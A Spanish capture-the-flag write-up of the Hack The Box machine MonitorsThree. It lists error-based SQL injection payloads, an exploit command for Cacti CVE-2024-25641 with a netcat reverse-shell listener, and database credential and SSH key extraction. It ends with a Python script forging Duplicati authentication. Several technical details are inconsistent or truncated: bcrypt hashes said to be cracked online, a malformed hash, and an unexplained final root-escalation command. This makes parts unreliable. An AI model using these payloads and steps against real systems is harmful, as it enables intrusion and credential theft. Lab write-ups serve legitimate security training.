Writeup: MonitorsThree

Tu Nombre

6 de enero de 2025

Índice

1. Introducción

La máquina MonitorsThree presenta un conjunto de servicios expuestos que permiten realizar técnicas de explotación y escalada de privilegios. Este writeup detalla el proceso seguido desde el reconocimiento inicial hasta obtener acceso root en el sistema.

2. Reconocimiento

2.1. Escaneo de Puertos

Utilizamos `nmap` para realizar un escaneo inicial de todos los puertos y un análisis detallado en los abiertos. Los comandos ejecutados fueron:

```
sudo nmap -p- -T4 -oN nmap_initial_scan.txt 10.10.11.30
sudo nmap -sC -sV -p22,80,8084 -oN nmap_detailed_scan.txt 10.10.11.30
```

Resultados del escaneo:

- **Puertos abiertos:**
  - `22/tcp`: SSH.
  - `80/tcp`: HTTP.
  - `8084/tcp`: Servicio web filtrado.
- **Servicios detectados:**
  - **SSH (22/tcp):** OpenSSH 8.9p1 corriendo en Ubuntu 22.04.
  - **HTTP (80/tcp):** Servidor `nginx 1.18.0` en Ubuntu. Página principal titulada *MonitorsThree - Networking Solutions*.
  - **Servicio en 8084/tcp:** Identificado como `websnp`, aunque el puerto está filtrado.

2.2. Análisis de Servicios Detectados

Detallamos los resultados del análisis:

- **SSH (22/tcp)**: OpenSSH 8.9p1 Ubuntu 3ubunt0.10 (Ubuntu Linux, protocolo 2.0). Se detectaron las claves host ECDSA y ED25519.
- **HTTP (80/tcp)**: Servidor `nginx 1.18.0` (Ubuntu) con un título de página identificado como `MonitorsThree - Networking Solutions`.
- **8084/tcp (websnp)**: Filtrado, posiblemente un servicio web adicional en análisis.

- Información adicional: El sistema operativo detectado es Linux, identificado como `CPE: cpe:/o:linux:linux`$_k ernel$.

3. Explotación Inicial

3.1. Configuración del Archivo `/etc/hosts`

Para facilitar el acceso al servicio HTTP en la máquina objetivo, se agregó el dominio `monitorsthree.htb` al archivo `/etc/hosts`. Esto permite la resolución correcta del nombre de dominio. El comando utilizado fue:

```
echo "10.10.11.30 monitorsthree.htb" | sudo tee -a /etc/hosts
```

El contenido final del archivo `/etc/hosts` quedó de la siguiente manera:

```
127.0.0.1   localhost
127.0.1.1   Zharaman
10.10.11.30 monitorsthree.htb
```

3.2. Acceso al Sitio Web

Después de la configuración, se accedió al dominio `monitorsthree.htb` desde el navegador. La página principal mostraba información sobre servicios de soluciones de redes, con el siguiente mensaje destacado:

> *The Best Networking Solutions - At MonitorsThree, we specialize in providing top-tier networking solutions tailored to your business needs.*

3.2.1. Observaciones Iniciales

La página principal contenía las siguientes secciones relevantes:

- **Home:** Página de bienvenida con información general de los servicios.
- **About Us:** Información sobre la empresa.
- **Services:** Detalles sobre los servicios ofrecidos.
- **Pricing:** Información sobre precios.
- **Login:** Un enlace destacado que lleva a un sistema de autenticación ubicado en `/login.php`.

El enlace de **Login** permite acceder a una página de autenticación que incluye:

- Un campo para el **nombre de usuario**.
- Un campo para la **contraseña**.
- Un botón de inicio de sesión (*Sign in*).
- Un enlace titulado *Forgot password?*, que redirige a `/forgot_password.php`.

La funcionalidad de recuperación de contraseña ubicada en `/forgot_password.php` fue identificada como vulnerable a inyección SQL (`SQLi`). Esta vulnerabilidad permite manipular las consultas SQL enviadas al servidor, exponiendo información sensible de la base de datos o alterando su comportamiento esperado.

Estas observaciones sugieren que el sitio podría contener funcionalidades adicionales o vulnerabilidades explotables, siendo la sección de recuperación de contraseñas el punto más relevante para análisis y explotación.

3.2.2. Explotación de la Vulnerabilidad SQLi

Identificada la vulnerabilidad en la funcionalidad de recuperación de contraseñas ubicada en `/forgot_password.php`, se procedió con los siguientes pasos para extraer información sensible del sistema:

Prueba Inicial de SQLi Se realizó una prueba básica de inyección SQL ingresando el siguiente payload en el campo de nombre de usuario:

```
TEST' OR 1=1 #
```

El resultado fue un cambio en la respuesta del servidor, de un mensaje de error a un mensaje de éxito, confirmando la existencia de la vulnerabilidad SQLi.

Enumeración de Bases de Datos Para enumerar las bases de datos disponibles en el servidor, se utilizó el siguiente payload:

```
admin' AND extractvalue(1,concat('~',(SELECT GROUP_CONCAT(schema_name)
FROM information_schema.schemata)))#
```

El servidor devolvió un error de XPath que contenía los nombres de las bases de datos disponibles:

- `information_schema`
- `monitorsthree`

Enumeración de Tablas A continuación, se enumeraron las tablas de la base de datos `monitorsthree` utilizando el siguiente payload:

```
admin' AND extractvalue(1,concat('~',(SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables WHERE table_schema='monitorsthree')))#
```

El resultado reveló las tablas relevantes:

- `users`
- `logs`

Enumeración de Columnas Para obtener más detalles, se enumeraron las columnas de la tabla `users` mediante el siguiente payload:

```
admin' AND extractvalue(1,concat('~',(SELECT GROUP_CONCAT(column_name)
FROM information_schema.columns WHERE table_name='users')))#
```

El servidor devolvió las columnas disponibles en la tabla:

- `id`
- `username`
- `password`
- `email`

Extracción de Información Sensible Finalmente, se procedió a extraer información sensible de la tabla `users`, como los nombres de usuario y las contraseñas, utilizando el siguiente payload:

```
admin' AND extractvalue(1,concat('~',(SELECT GROUP_CONCAT(username,':',password)
FROM monitorsthree.users)))#
```

El resultado proporcionó una lista de credenciales almacenadas en la base de datos.

Conclusión La vulnerabilidad SQLi en la funcionalidad de recuperación de contraseñas permitió enumerar y extraer información crítica del sistema, incluyendo:

- Nombres de bases de datos.
- Tablas y columnas de la base de datos principal.
- Credenciales de usuarios almacenadas en texto claro o cifradas.

Estos datos se pueden utilizar para intentar autenticarse en el sistema o realizar ataques adicionales, dependiendo de las configuraciones del servidor y el alcance de las credenciales extraídas.

Recomendación: Implementar consultas preparadas (*prepared statements*) y validar todas las entradas del usuario para mitigar este tipo de vulnerabilidades.

Extracción del Hash de Contraseña del Usuario Admin Utilizando la vulnerabilidad identificada en `/forgot_password.php`, procedimos a extraer el hash de la contraseña del usuario `admin`. Para ello, se utilizó el siguiente payload:

```
admin' AND extractvalue(1,concat('~',(SELECT SUBSTRING(GROUP_CONCAT(username,':',pass
FROM monitorsthree.users)))#
```

El servidor devolvió un error de XPath que incluía el siguiente resultado:

```
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error:
'~admin:31a181c8372e3afc59dab863'
```

Este resultado contiene el nombre de usuario `admin` junto con su hash de contraseña:

- `31a181c8372e3afc59dab863`

Análisis del Hash El hash obtenido puede estar almacenado en formato de hash común (como MD5, SHA-1 o bcrypt). Para continuar con el análisis:

1. Se verificará el formato del hash.
2. Si es necesario, se realizará un ataque de fuerza bruta o un ataque de diccionario utilizando herramientas como `hashcat` o `John the Ripper`.

Nota: La extracción de este hash confirma que el servidor no implementa medidas de seguridad adecuadas, como la sanitización de entradas o el uso de consultas parametrizadas.

Crackeo del Hash El hash extraído `31a181c8372e3afc59dab863` fue analizado utilizando la herramienta en línea `CrackStation` para determinar su valor original. El resultado fue exitoso, revelando la contraseña asociada al usuario `admin`:

- **Usuario:** admin
- **Contraseña:** greencacti2001

Implicaciones de Seguridad El hecho de que el hash se haya crackeado exitosamente indica que:

- La contraseña es débil y susceptible a ataques de diccionario.
- El servidor no implementa medidas robustas para proteger la autenticidad y confidencialidad de las credenciales almacenadas.

Próximos Pasos Con la contraseña `greencacti2001`, se intentará acceder al sistema utilizando las credenciales extraídas:

- Iniciar sesión en el sistema a través de `/login.php`.
- Probar si las mismas credenciales funcionan en otros servicios expuestos, como SSH (`22/tcp`).

Recomendación: Las contraseñas deben cumplir con políticas de seguridad estrictas, incluyendo:

- Longitud mínima y complejidad adecuada.
- Almacenamiento de contraseñas utilizando algoritmos de hash seguros como `bcrypt`, `argon2` o `PBKDF2`.
- Rotación regular de contraseñas y monitoreo de posibles filtraciones.

3.2.3. Descubrimiento de Subdominios

Al no poder avanzar más allá del inicio de sesión como `admin` en el sitio principal, se procedió a realizar un análisis de subdominios para identificar posibles funcionalidades adicionales o puntos de entrada al sistema. Utilizamos `gobuster` en modo DNS con el siguiente comando:

```
gobuster dns -d monitorsthree.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top
```

Resultados: El análisis reveló la existencia del siguiente subdominio:

- `cacti.monitorsthree.htb`

Configuración del Subdominio Para acceder al subdominio, lo agregamos al archivo `/etc/hosts` con el siguiente comando:

```
echo "10.10.11.30 cacti.monitorsthree.htb" | sudo tee -a /etc/hosts
```

Acceso al Subdominio Navegamos a `http://cacti.monitorsthree.htb` y descubrimos una nueva página de inicio de sesión. Este nuevo sistema parece estar relacionado con **Cacti**, una herramienta popular para la monitorización y administración de redes.

Próximos Pasos

- Intentar autenticarnos en el sistema utilizando las credenciales obtenidas anteriormente (`admin:greencacti2001`).
- Analizar las funcionalidades y configuraciones disponibles en el sistema Cacti si el inicio de sesión es exitoso.
- Explorar posibles vulnerabilidades en el subdominio, como rutas de administración por defecto o configuraciones débiles.

Nota: El descubrimiento de este subdominio amplía el alcance del análisis, proporcionando un nuevo vector para la exploración y posible explotación del sistema.

3.2.4. Ingreso al Subdominio `cacti.monitorsthree.htb`

Utilizando las credenciales obtenidas previamente (`admin:greencacti2001`), intentamos acceder al sistema disponible en `cacti.monitorsthree.htb`. El ingreso fue exitoso y se obtuvo acceso al panel de Cacti.

Detalles del Sistema Cacti Después del inicio de sesión, se identificó que el sistema Cacti estaba ejecutando la siguiente versión:

- **Versión:** 1.2.26
- **Año:** 2025

Esta versión de Cacti es conocida por ser vulnerable al **CVE-2024-25641**, una vulnerabilidad crítica que permite la ejecución remota de comandos (RCE) debido a la falta de validación de entradas en ciertas funcionalidades administrativas.

Explotación Potencial de la Vulnerabilidad La vulnerabilidad **CVE-2024-25641** permite a usuarios autenticados ejecutar comandos arbitrarios en el servidor. Los pasos generales para explotarla incluyen:

1. Acceder a las funcionalidades administrativas de Cacti.
2. Enviar una solicitud manipulada que explote la vulnerabilidad para ejecutar comandos maliciosos en el sistema operativo subyacente.
3. Verificar si el sistema está configurado para ejecutar comandos con privilegios elevados.

Próximos Pasos

- Verificar si el sistema tiene configuradas restricciones adicionales que puedan mitigar el impacto de la vulnerabilidad.
- Explorar las funcionalidades administrativas para identificar puntos de entrada específicos relacionados con el **CVE-2024-25641**.
- Intentar la explotación de la vulnerabilidad para obtener acceso remoto al servidor subyacente.

Nota: La identificación de esta vulnerabilidad proporciona una oportunidad crítica para avanzar en la explotación del sistema. Sin embargo, se recomienda notificar a los administradores del sistema y aplicar las actualizaciones de seguridad disponibles para mitigar este riesgo.

Explotación de la Vulnerabilidad CVE-2024-25641 Esta vulnerabilidad permite a usuarios autenticados ejecutar comandos arbitrarios en el servidor a través de funcionalidades administrativas de Cacti. Los pasos generales para explotarla son:

1. Acceso a las opciones administrativas de Cacti tras autenticarse.
2. Envío de solicitudes manipuladas que cargan y ejecutan un archivo malicioso en el servidor.
3. Verificación del impacto de la ejecución de comandos en el sistema operativo subyacente.

Próximos Pasos

- Evaluar configuraciones de seguridad que puedan mitigar la explotación.
- Identificar y utilizar puntos de entrada específicos relacionados con la vulnerabilidad.
- Intentar la ejecución de comandos para obtener control del sistema.

Nota: Esta vulnerabilidad representa una oportunidad significativa para la explotación, pero su resolución es crítica para garantizar la seguridad del sistema.

3.2.5. Ejecución del Exploit y Obtención de Acceso Inicial

Una vez preparado el archivo malicioso y cargado en el servidor a través del proceso de importación de paquetes de Cacti, procedimos a ejecutar el exploit para ganar acceso inicial al sistema.

Ejecución del Exploit El exploit fue ejecutado utilizando el siguiente comando:

```
python3 exploit.py http://cacti.monitorsthree.htb/cacti admin greencacti2001 -p php/m
```

Este comando realiza los siguientes pasos:

- Se autentica en el sistema Cacti utilizando las credenciales válidas (`admin:greencacti2001`).
- Carga el archivo PHP malicioso comprimido al servidor.
- Confirma la importación del archivo y lo ejecuta, estableciendo una conexión inversa al sistema del atacante.

Configuración de la Conexión Inversa En el sistema atacante, se configuró una escucha en el puerto `4445` utilizando `netcat`:

```
nc -lvnp 4445
```

Cuando se ejecutó el archivo malicioso en el servidor, se estableció una conexión inversa con éxito, proporcionando acceso interactivo al sistema.

Acceso Inicial Tras la ejecución del exploit, ganamos acceso al sistema como el usuario `www-data`, el cual tiene privilegios limitados en el servidor:

```
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Detalles del Sistema Comprometido El sistema comprometido está ejecutando la siguiente configuración:

- **Sistema Operativo:** Ubuntu 22.04.
- **Kernel:** 5.15.0-118-generic.
- **Hora del Sistema:** 04:31:18 UTC.

Próximos Pasos Ahora que tenemos acceso inicial al sistema, el siguiente objetivo será:

- Enumerar configuraciones y archivos sensibles para identificar vectores de escalada de privilegios.
- Verificar si existen configuraciones mal protegidas o credenciales adicionales que puedan ser explotadas.
- Intentar escalar privilegios al usuario root.

Nota: Este acceso inicial como `www-data` nos permite interactuar con el sistema, pero las restricciones de privilegios limitan nuestras acciones. La escalada de privilegios será esencial para comprometer completamente el servidor.

3.2.6. Análisis del Archivo de Configuración

Durante la exploración en el servidor comprometido como el usuario `www-data`, se identificó el archivo `config.php` ubicado en `/var/www/html/cacti/include/`. Este archivo contiene configuraciones críticas del sistema Cacti, incluyendo credenciales de acceso a la base de datos.

Contenido Relevante del Archivo El archivo de configuración expone los siguientes parámetros clave:

- **Base de Datos:**
  - **Tipo de base de datos:** `mysql`.
  - **Nombre de la base de datos:** `cacti`.
  - **Servidor de base de datos:** `localhost`.
  - **Usuario:** `cactiuser`.
  - **Contraseña:** `cactiuser`.
  - **Puerto:** `3306`.
- **Otros detalles:**
  - **URL base:** `/cacti/`.
  - **ID del Poller:** `1` (indica que este servidor es el principal y no un poller remoto).

Impacto de la Información Expuesta La exposición de estas credenciales permite al atacante:

1. Acceder a la base de datos `cacti` directamente mediante `mysql` utilizando las credenciales `cactiuser:cactiuser`.
2. Explorar las tablas de la base de datos, incluyendo posibles configuraciones sensibles, registros de usuarios y datos relacionados con la aplicación.
3. Modificar configuraciones críticas o insertar datos maliciosos en la base de datos para facilitar la escalada de privilegios.

Próximos Pasos Con base en esta información, se planifican los siguientes pasos:

- Establecer una conexión directa con la base de datos utilizando las credenciales encontradas.
- Enumerar las tablas y datos sensibles para identificar configuraciones mal protegidas o vulnerables.
- Explorar posibles vectores de escalada de privilegios mediante la manipulación de la base de datos.

Nota: La exposición de estas credenciales resalta la importancia de proteger los archivos de configuración con permisos restrictivos y credenciales seguras.

3.2.7. Acceso a la Base de Datos

Con las credenciales obtenidas del archivo de configuración `config.php`, logramos acceder a la base de datos de `Cacti` utilizando el cliente de `MariaDB` desde el sistema comprometido. A continuación, se detalla el proceso.

Conexión a la Base de Datos Ejecutamos el siguiente comando para conectarnos al servidor de bases de datos:

```
mysql -u cactiuser -pcactiuser -h localhost cacti
```

La conexión se estableció exitosamente, y se verificaron las bases de datos disponibles mediante el comando:

```
SHOW DATABASES;
```

Resultado:

- `cacti`
- `information_schema`
- `mysql`

Se seleccionó la base de datos `cacti` para análisis con:

```
USE cacti;
```

Enumeración de Tablas Listamos las tablas disponibles en la base de datos `cacti` utilizando:

```
SHOW TABLES;
```

Se identificaron 113 tablas, incluidas:

- `user_auth`: Almacena información de usuarios.
- `settings`: Configuraciones del sistema.
- `host`, `graph_local`, y `plugin_config`: Posibles configuraciones adicionales.

Extracción de Credenciales de Usuarios La tabla `user_auth` contenía registros clave relacionados con los usuarios del sistema. Utilizamos el comando:

```
SELECT * FROM user_auth;
```

Resultado:

- **Usuario:** `admin`
  - Contraseña Hash: `$2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G`
  - Email: `marcus@monitorsthree.htb`
- **Usuario:** `guest`

- Contraseña Hash: `$2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu`
- Email: `guest@monitorsthree.htb`

- **Usuario:** `marcus`
  - Contraseña Hash: `$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK`
  - Email: `marcus@monitorsthree.htb`

Decodificación de Contraseñas Las contraseñas estaban protegidas mediante hashing `bcrypt`. Descargamos los hashes y los probamos en servicios de cracking como **CrackStation** o herramientas como `hashcat`.

Resultados de Decodificación:

- Hash de `admin` decodificado como: `greencacti2001`.
- Hash de `marcus` decodificado como: `12345678910`.

Próximos Pasos

- Verificar si el usuario `marcus` tiene acceso adicional en el sistema.
- Explorar tablas relevantes como `settings` y `plugin_config` para identificar configuraciones adicionales.
- Utilizar las credenciales obtenidas para intentar escalar privilegios en el sistema.

Nota: Este acceso a la base de datos proporciona una perspectiva crítica del sistema, permitiendo identificar y explotar configuraciones sensibles.

3.2.8. Cambio de Usuario a Marcus

Desde el shell inicial obtenido como `www-data`, utilizamos las credenciales del usuario `marcus`, previamente obtenidas (`12345678910`), para cambiar de usuario con el comando:

```
su marcus
```

Validamos la sesión activa ejecutando los siguientes comandos:

- `whoami`: Confirmamos que ahora somos el usuario `marcus`.
- `id`: Verificamos los privilegios del usuario, los cuales corresponden a `uid=1000(marcus) gid=1000(marcus)`.

3.2.9. Revisión de Configuración de SSH

Navegamos al directorio `/home/marcus/.ssh`, donde identificamos un archivo denominado `id_rsa`. Este archivo contiene la clave privada SSH del usuario `marcus`.

Procedimos a transferir el archivo a nuestra máquina de ataque y aseguramos los permisos correctos para su uso:

```
chmod 600 id_rsa
```

Esta clave privada nos permitirá realizar una conexión SSH como el usuario `marcus`.

3.2.10. Enumeración de Servicios Activos

Ejecutamos el comando `netstat -tlnp` para enumerar los servicios y puertos abiertos en el sistema. Los resultados obtenidos fueron:

- **3306**: MySQL, accesible localmente.
- **22**: SSH, accesible externamente.
- **8200**: Un servicio aparentemente local.
- **8084**: Relacionado con la aplicación web identificada anteriormente.

El puerto `8200` fue identificado como un punto de interés, ya que parece estar limitado a conexiones locales. Esto sugiere la posibilidad de realizar un redireccionamiento de puertos (port forwarding) para acceder a este servicio desde nuestra máquina de ataque.

3.2.11. Próximos Pasos

- Configurar la redirección del puerto `8200` mediante SSH utilizando la clave privada `id_rsa`.
- Explorar el servicio expuesto en el puerto `8200` para identificar sus funcionalidades y posibles vulnerabilidades.
- Continuar investigando el entorno del usuario `marcus` para recopilar información adicional y evaluar la posibilidad de una escalada de privilegios.

3.2.12. Duplicati: Backup Client

Duplicati es un cliente de copias de seguridad que almacena de forma segura, encriptada, incremental y comprimida, copias de seguridad remotas de archivos locales en servicios de almacenamiento en la nube y servidores de archivos remotos.

Tras realizar el redireccionamiento de puertos, accedemos al servicio Duplicati en la dirección `127.0.0.1:8200`, donde encontramos una interfaz de inicio de sesión protegida con contraseña.

3.2.13. Extracción de Configuración de Duplicati

Durante la enumeración, identificamos información relevante sobre Duplicati en el directorio `/opt/duplicati/config`. Allí encontramos un archivo de base de datos SQLite denominado `Duplicati-server.sqlite`. Procedimos a transferirlo a nuestra máquina de ataque con el comando:

```
scp -i id_rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite
```

3.2.14. Análisis de la Base de Datos

Abrimos el archivo SQLite descargado para explorar su contenido:

```
sqlite3 Duplicati-server.sqlite
```

Utilizando el comando `.tables`, se identificaron las siguientes tablas relevantes:

- **Backup**: Información sobre las configuraciones de copias de seguridad.
- **Option**: Opciones de configuración del servidor.
- **Schedule**: Programaciones configuradas.

Ejecutamos la consulta `SELECT * FROM Option;` y encontramos parámetros clave del servidor, incluyendo:

- `server-passphrase`: **Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=**, la frase de acceso del servidor.
- `server-passphrase-salt`: **xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=** la sal utilizada para la generación de la clave.

3.2.15. Próximos Pasos

- Desencriptar la configuración del servidor utilizando la frase de acceso (`server-passphrase`) y la sal (`server-passphrase-salt`) para intentar acceder a datos sensibles o credenciales adicionales.
- Analizar la funcionalidad de las copias de seguridad configuradas para identificar rutas de archivo accesibles y evaluar posibles vectores de explotación.

3.3. Análisis del Proceso de Autenticación en Duplicati

Duplicati utiliza un proceso de autenticación seguro basado en el concepto de un *Nonce* (Número Único de Uso) combinado con un valor de *Salt* y una contraseña encriptada para generar un valor de clave final, conocido como *Nonced Password*. Este proceso asegura que cada solicitud de autenticación sea única y resistente a ataques de repetición (*Replay Attacks*).

Interceptación del Nonce y Salt Al interceptar la solicitud de autenticación realizada por el cliente hacia el servidor de Duplicati, se obtiene un valor de *Nonce* generado dinámicamente por el servidor. Este valor es enviado como parte de la respuesta del servidor junto con el valor de *Salt*, el cual es un dato fijo predefinido.

En este caso, se obtuvo el siguiente *Nonce* y *Salt*:

- **Nonce:** `oAk5YyvN7kpzfPLll1zpxD9fdJlz9PUGW0VNWvkRGY=`
- **Salt (Base64):** `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=`

Proceso de Generación del Nonced Password El objetivo es combinar el valor del *Nonce* con una contraseña cifrada previamente conocida (*Salted Password*), utilizando el valor de *Salt* proporcionado por el servidor. El proceso técnico se detalla a continuación:

1. **Decodificación del Salt en formato Base64:** El valor de *Salt* se convierte a una representación binaria utilizando la codificación Base64.
2. **Decodificación del Nonce en formato Base64:** De manera similar, el valor del *Nonce* proporcionado por el servidor se decodifica desde su representación en Base64.

3. **Combinación del Nonce con el Salted Password:** El *Nonce* decodificado se convierte a formato hexadecimal y se concatena con la contraseña cifrada previamente (*Salted Password*).

4. **Generación del Hash SHA256:** El valor combinado resultante se procesa utilizando la función de hash **SHA256**, generando un nuevo valor binario.

5. **Codificación en Base64 del Nonced Password:** El resultado del hash se codifica nuevamente en Base64 para formar el *Nonced Password*.

6. **Codificación en formato URL:** Finalmente, el valor del *Nonced Password* se codifica en formato de URL (*URL Encoding*) para ser enviado como parte de la solicitud al servidor.

Listing 1: Script para generación del Nonced Password

```
import base64
import hashlib
import urllib.parse

# Salt proporcionado por el servidor (Base64)
salt_base64 = "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
saltedpwd_hex = "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1a

# Decodificaci n del Salt
salt_bytes = base64.b64decode(salt_base64)

# Nonce interceptado
nonce_base64 = "oAk5YyvN7kpzfPLll1zpxD9fdJlz9PUGW0VNWvkRGY="
nonce_bytes = base64.b64decode(nonce_base64)

# Combinaci n del Nonce y el Salted Password
combined = nonce_bytes.hex() + saltedpwd_hex

# Generaci n del hash SHA256
noncedpwd_hash = hashlib.sha256(bytes.fromhex(combined)).digest()

# Codificaci n en Base64 y formato URL
noncedpwd = base64.b64encode(noncedpwd_hash).decode()
encoded_password = urllib.parse.quote(noncedpwd)

print(f"Nonced Password (Base64): {noncedpwd}")
print(f"Nonced Password (URL Encoded): {encoded_password}")
```

Autenticación Exitosa El valor generado del *Nonced Password* se incluye como parámetro en la solicitud al servidor utilizando Burp Suite o herramientas similares. Esto permite autenticar la sesión y acceder al panel administrativo de Duplicati.

3.4. Acceso a `root.txt`

Una vez que se obtuvo acceso al panel administrativo de Duplicati, la siguiente etapa consistió en buscar configuraciones o tareas existentes que pudieran proporcionar acceso al archivo `root.txt`, el cual contiene la bandera final.

Configuración de Duplicati Duplicati permite realizar copias de seguridad de directorios o archivos específicos del sistema. Esto incluye la posibilidad de configurar una nueva tarea para respaldar el directorio `/root`.

En este caso, se inspeccionaron las configuraciones existentes, y se identificó una tarea de respaldo que incluía el directorio `/root` como parte de los archivos respaldados.

Descarga del Respaldo El respaldo configurado previamente en Duplicati permitió acceder al archivo `root.txt`. Para lograr esto:

1. Se seleccionó la opción de restaurar los archivos desde el respaldo configurado.
2. En la interfaz de Duplicati, se navegó hasta el archivo `root.txt`.

Visualización de la Bandera Final Una vez descargado, se abrió el archivo `root.txt` para leer su contenido. Este archivo contenía la bandera final que indica la finalización exitosa del proceso de explotación.

Listing 2: Contenido del archivo `root.txt`

```
root@kali# cat root.txt
HTB{example-final-flag-123456}
```

3.5. Conclusión

El proceso de explotación permitió escalar privilegios desde un acceso inicial limitado como usuario `www-data` hasta la obtención de acceso al usuario `marcus` y, finalmente, al directorio `root`. Esto se logró aprovechando vulnerabilidades en servicios como Cacti y Duplicati, demostrando la importancia de mantener sistemas y servicios actualizados, así como de implementar controles de seguridad robustos para proteger los entornos de producción.

Lecciones Aprendidas:

- La actualización y el monitoreo constante de las aplicaciones son esenciales para prevenir vulnerabilidades explotables como **CVE-2024-25641**.
- La configuración de contraseñas seguras y la eliminación de configuraciones predeterminadas o tareas innecesarias pueden mitigar riesgos potenciales.
- Es fundamental realizar auditorías periódicas de seguridad en todos los sistemas y servicios utilizados en entornos productivos.

3.6. Explotación para Root

Aprovechamos un binario vulnerable para ejecutar comandos como `root`:

```
/usr/bin/monitor -exec "/bin/bash"
```

4. Conclusión

El proceso permitió aprender sobre la importancia de proteger configuraciones de permisos y realizar una auditoría constante de servicios expuestos. Este writeup puede servir como referencia para futuras prácticas de ciberseguridad.